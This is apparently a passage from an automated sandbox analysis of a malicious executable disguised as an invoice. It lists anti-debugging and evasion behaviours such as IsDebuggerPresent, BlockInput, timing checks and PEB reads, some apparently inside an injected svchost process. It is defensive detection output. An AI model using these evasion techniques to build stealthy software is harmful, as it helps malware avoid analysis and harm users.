Source: C:\Windows\SysWOW64\ktmutil.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A7096E rdtsc 4_2_03A7096E
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00417A83 LdrLoadDll, 4_2_00417A83
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00246AAF BlockInput, 2_2_00246AAF
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001F3D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 2_2_001F3D19
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00223920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW, 2_2_00223920
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0020E01E LoadLibraryA,GetProcAddress, 2_2_0020E01E
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00E28038 mov eax, dword ptr fs:[00000030h] 2_2_00E28038
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00E269B8 mov eax, dword ptr fs:[00000030h] 2_2_00E269B8
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00E27FD8 mov eax, dword ptr fs:[00000030h] 2_2_00E27FD8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2E388 mov eax, dword ptr fs:[00000030h] 4_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2E388 mov eax, dword ptr fs:[00000030h] 4_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2E388 mov eax, dword ptr fs:[00000030h] 4_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5438F mov eax, dword ptr fs:[00000030h] 4_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5438F mov eax, dword ptr fs:[00000030h] 4_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A28397 mov eax, dword ptr fs:[00000030h] 4_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A28397 mov eax, dword ptr fs:[00000030h] 4_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A28397 mov eax, dword ptr fs:[00000030h] 4_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A403E9 mov eax, dword ptr fs:[00000030h] 4_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A403E9 mov eax, dword ptr fs:[00000030h] 4_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A403E9 mov eax, dword ptr fs:[00000030h] 4_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A403E9 mov eax, dword ptr fs:[00000030h] 4_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A403E9 mov eax, dword ptr fs:[00000030h] 4_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A403E9 mov eax, dword ptr fs:[00000030h] 4_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A403E9 mov eax, dword ptr fs:[00000030h] 4_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A403E9 mov eax, dword ptr fs:[00000030h] 4_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4E3F0 mov eax, dword ptr fs:[00000030h] 4_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4E3F0 mov eax, dword ptr fs:[00000030h] 4_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4E3F0 mov eax, dword ptr fs:[00000030h] 4_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A663FF mov eax, dword ptr fs:[00000030h] 4_2_03A663FF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AEC3CD mov eax, dword ptr fs:[00000030h] 4_2_03AEC3CD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A3C0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A3C0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A3C0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A3C0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A3C0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A3C0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A383C0 mov eax, dword ptr fs:[00000030h] 4_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A383C0 mov eax, dword ptr fs:[00000030h] 4_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A383C0 mov eax, dword ptr fs:[00000030h] 4_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A383C0 mov eax, dword ptr fs:[00000030h] 4_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB63C0 mov eax, dword ptr fs:[00000030h] 4_2_03AB63C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD43D4 mov eax, dword ptr fs:[00000030h] 4_2_03AD43D4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD43D4 mov eax, dword ptr fs:[00000030h] 4_2_03AD43D4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A30B mov eax, dword ptr fs:[00000030h] 4_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A30B mov eax, dword ptr fs:[00000030h] 4_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A30B mov eax, dword ptr fs:[00000030h] 4_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2C310 mov ecx, dword ptr fs:[00000030h] 4_2_03A2C310
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A50310 mov ecx, dword ptr fs:[00000030h] 4_2_03A50310
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD437C mov eax, dword ptr fs:[00000030h] 4_2_03AD437C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB2349 mov eax, dword ptr fs:[00000030h] 4_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB035C mov eax, dword ptr fs:[00000030h] 4_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB035C mov eax, dword ptr fs:[00000030h] 4_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB035C mov eax, dword ptr fs:[00000030h] 4_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB035C mov ecx, dword ptr fs:[00000030h] 4_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB035C mov eax, dword ptr fs:[00000030h] 4_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB035C mov eax, dword ptr fs:[00000030h] 4_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFA352 mov eax, dword ptr fs:[00000030h] 4_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD8350 mov ecx, dword ptr fs:[00000030h] 4_2_03AD8350
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC62A0 mov eax, dword ptr fs:[00000030h] 4_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC62A0 mov ecx, dword ptr fs:[00000030h] 4_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC62A0 mov eax, dword ptr fs:[00000030h] 4_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC62A0 mov eax, dword ptr fs:[00000030h] 4_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC62A0 mov eax, dword ptr fs:[00000030h] 4_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC62A0 mov eax, dword ptr fs:[00000030h] 4_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E284 mov eax, dword ptr fs:[00000030h] 4_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E284 mov eax, dword ptr fs:[00000030h] 4_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB0283 mov eax, dword ptr fs:[00000030h] 4_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB0283 mov eax, dword ptr fs:[00000030h] 4_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB0283 mov eax, dword ptr fs:[00000030h] 4_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A402E1 mov eax, dword ptr fs:[00000030h] 4_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A402E1 mov eax, dword ptr fs:[00000030h] 4_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A402E1 mov eax, dword ptr fs:[00000030h] 4_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A2C3 mov eax, dword ptr fs:[00000030h] 4_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A2C3 mov eax, dword ptr fs:[00000030h] 4_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A2C3 mov eax, dword ptr fs:[00000030h] 4_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A2C3 mov eax, dword ptr fs:[00000030h] 4_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A2C3 mov eax, dword ptr fs:[00000030h] 4_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2823B mov eax, dword ptr fs:[00000030h] 4_2_03A2823B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A34260 mov eax, dword ptr fs:[00000030h] 4_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A34260 mov eax, dword ptr fs:[00000030h] 4_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A34260 mov eax, dword ptr fs:[00000030h] 4_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2826B mov eax, dword ptr fs:[00000030h] 4_2_03A2826B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 mov eax, dword ptr fs:[00000030h] 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB8243 mov eax, dword ptr fs:[00000030h] 4_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB8243 mov ecx, dword ptr fs:[00000030h] 4_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2A250 mov eax, dword ptr fs:[00000030h] 4_2_03A2A250
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A36259 mov eax, dword ptr fs:[00000030h] 4_2_03A36259
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A70185 mov eax, dword ptr fs:[00000030h] 4_2_03A70185
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AEC188 mov eax, dword ptr fs:[00000030h] 4_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AEC188 mov eax, dword ptr fs:[00000030h] 4_2_03AEC188
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD4180 mov eax, dword ptr fs:[00000030h] 4_2_03AD4180
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD4180 mov eax, dword ptr fs:[00000030h] 4_2_03AD4180
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB019F mov eax, dword ptr fs:[00000030h] 4_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB019F mov eax, dword ptr fs:[00000030h] 4_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB019F mov eax, dword ptr fs:[00000030h] 4_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB019F mov eax, dword ptr fs:[00000030h] 4_2_03AB019F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2A197 mov eax, dword ptr fs:[00000030h] 4_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2A197 mov eax, dword ptr fs:[00000030h] 4_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2A197 mov eax, dword ptr fs:[00000030h] 4_2_03A2A197
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B061E5 mov eax, dword ptr fs:[00000030h] 4_2_03B061E5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A601F8 mov eax, dword ptr fs:[00000030h] 4_2_03A601F8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF61C3 mov eax, dword ptr fs:[00000030h] 4_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF61C3 mov eax, dword ptr fs:[00000030h] 4_2_03AF61C3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE1D0 mov eax, dword ptr fs:[00000030h] 4_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE1D0 mov eax, dword ptr fs:[00000030h] 4_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE1D0 mov ecx, dword ptr fs:[00000030h] 4_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE1D0 mov eax, dword ptr fs:[00000030h] 4_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE1D0 mov eax, dword ptr fs:[00000030h] 4_2_03AAE1D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A60124 mov eax, dword ptr fs:[00000030h] 4_2_03A60124
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ADA118 mov ecx, dword ptr fs:[00000030h] 4_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ADA118 mov eax, dword ptr fs:[00000030h] 4_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ADA118 mov eax, dword ptr fs:[00000030h] 4_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ADA118 mov eax, dword ptr fs:[00000030h] 4_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF0115 mov eax, dword ptr fs:[00000030h] 4_2_03AF0115
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC4144 mov eax, dword ptr fs:[00000030h] 4_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC4144 mov eax, dword ptr fs:[00000030h] 4_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC4144 mov ecx, dword ptr fs:[00000030h] 4_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC4144 mov eax, dword ptr fs:[00000030h] 4_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC4144 mov eax, dword ptr fs:[00000030h] 4_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2C156 mov eax, dword ptr fs:[00000030h] 4_2_03A2C156
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC8158 mov eax, dword ptr fs:[00000030h] 4_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A36154 mov eax, dword ptr fs:[00000030h] 4_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A36154 mov eax, dword ptr fs:[00000030h] 4_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC80A8 mov eax, dword ptr fs:[00000030h] 4_2_03AC80A8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF60B8 mov eax, dword ptr fs:[00000030h] 4_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF60B8 mov ecx, dword ptr fs:[00000030h] 4_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3208A mov eax, dword ptr fs:[00000030h] 4_2_03A3208A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2A0E3 mov ecx, dword ptr fs:[00000030h] 4_2_03A2A0E3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A380E9 mov eax, dword ptr fs:[00000030h] 4_2_03A380E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB60E0 mov eax, dword ptr fs:[00000030h] 4_2_03AB60E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2C0F0 mov eax, dword ptr fs:[00000030h] 4_2_03A2C0F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A720F0 mov ecx, dword ptr fs:[00000030h] 4_2_03A720F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB20DE mov eax, dword ptr fs:[00000030h] 4_2_03AB20DE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2A020 mov eax, dword ptr fs:[00000030h] 4_2_03A2A020
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2C020 mov eax, dword ptr fs:[00000030h] 4_2_03A2C020
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC6030 mov eax, dword ptr fs:[00000030h] 4_2_03AC6030
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB4000 mov ecx, dword ptr fs:[00000030h] 4_2_03AB4000
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2000 mov eax, dword ptr fs:[00000030h] 4_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2000 mov eax, dword ptr fs:[00000030h] 4_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2000 mov eax, dword ptr fs:[00000030h] 4_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2000 mov eax, dword ptr fs:[00000030h] 4_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2000 mov eax, dword ptr fs:[00000030h] 4_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2000 mov eax, dword ptr fs:[00000030h] 4_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2000 mov eax, dword ptr fs:[00000030h] 4_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2000 mov eax, dword ptr fs:[00000030h] 4_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4E016 mov eax, dword ptr fs:[00000030h] 4_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4E016 mov eax, dword ptr fs:[00000030h] 4_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4E016 mov eax, dword ptr fs:[00000030h] 4_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4E016 mov eax, dword ptr fs:[00000030h] 4_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5C073 mov eax, dword ptr fs:[00000030h] 4_2_03A5C073
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A32050 mov eax, dword ptr fs:[00000030h] 4_2_03A32050
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB6050 mov eax, dword ptr fs:[00000030h] 4_2_03AB6050
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A307AF mov eax, dword ptr fs:[00000030h] 4_2_03A307AF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD678E mov eax, dword ptr fs:[00000030h] 4_2_03AD678E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A527ED mov eax, dword ptr fs:[00000030h] 4_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A527ED mov eax, dword ptr fs:[00000030h] 4_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A527ED mov eax, dword ptr fs:[00000030h] 4_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABE7E1 mov eax, dword ptr fs:[00000030h] 4_2_03ABE7E1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A347FB mov eax, dword ptr fs:[00000030h] 4_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A347FB mov eax, dword ptr fs:[00000030h] 4_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3C7C0 mov eax, dword ptr fs:[00000030h] 4_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB07C3 mov eax, dword ptr fs:[00000030h] 4_2_03AB07C3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6C720 mov eax, dword ptr fs:[00000030h] 4_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6C720 mov eax, dword ptr fs:[00000030h] 4_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6273C mov eax, dword ptr fs:[00000030h] 4_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6273C mov ecx, dword ptr fs:[00000030h] 4_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6273C mov eax, dword ptr fs:[00000030h] 4_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAC730 mov eax, dword ptr fs:[00000030h] 4_2_03AAC730
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6C700 mov eax, dword ptr fs:[00000030h] 4_2_03A6C700
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A30710 mov eax, dword ptr fs:[00000030h] 4_2_03A30710
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A60710 mov eax, dword ptr fs:[00000030h] 4_2_03A60710
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A38770 mov eax, dword ptr fs:[00000030h] 4_2_03A38770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 mov eax, dword ptr fs:[00000030h] 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6674D mov esi, dword ptr fs:[00000030h] 4_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6674D mov eax, dword ptr fs:[00000030h] 4_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6674D mov eax, dword ptr fs:[00000030h] 4_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A30750 mov eax, dword ptr fs:[00000030h] 4_2_03A30750
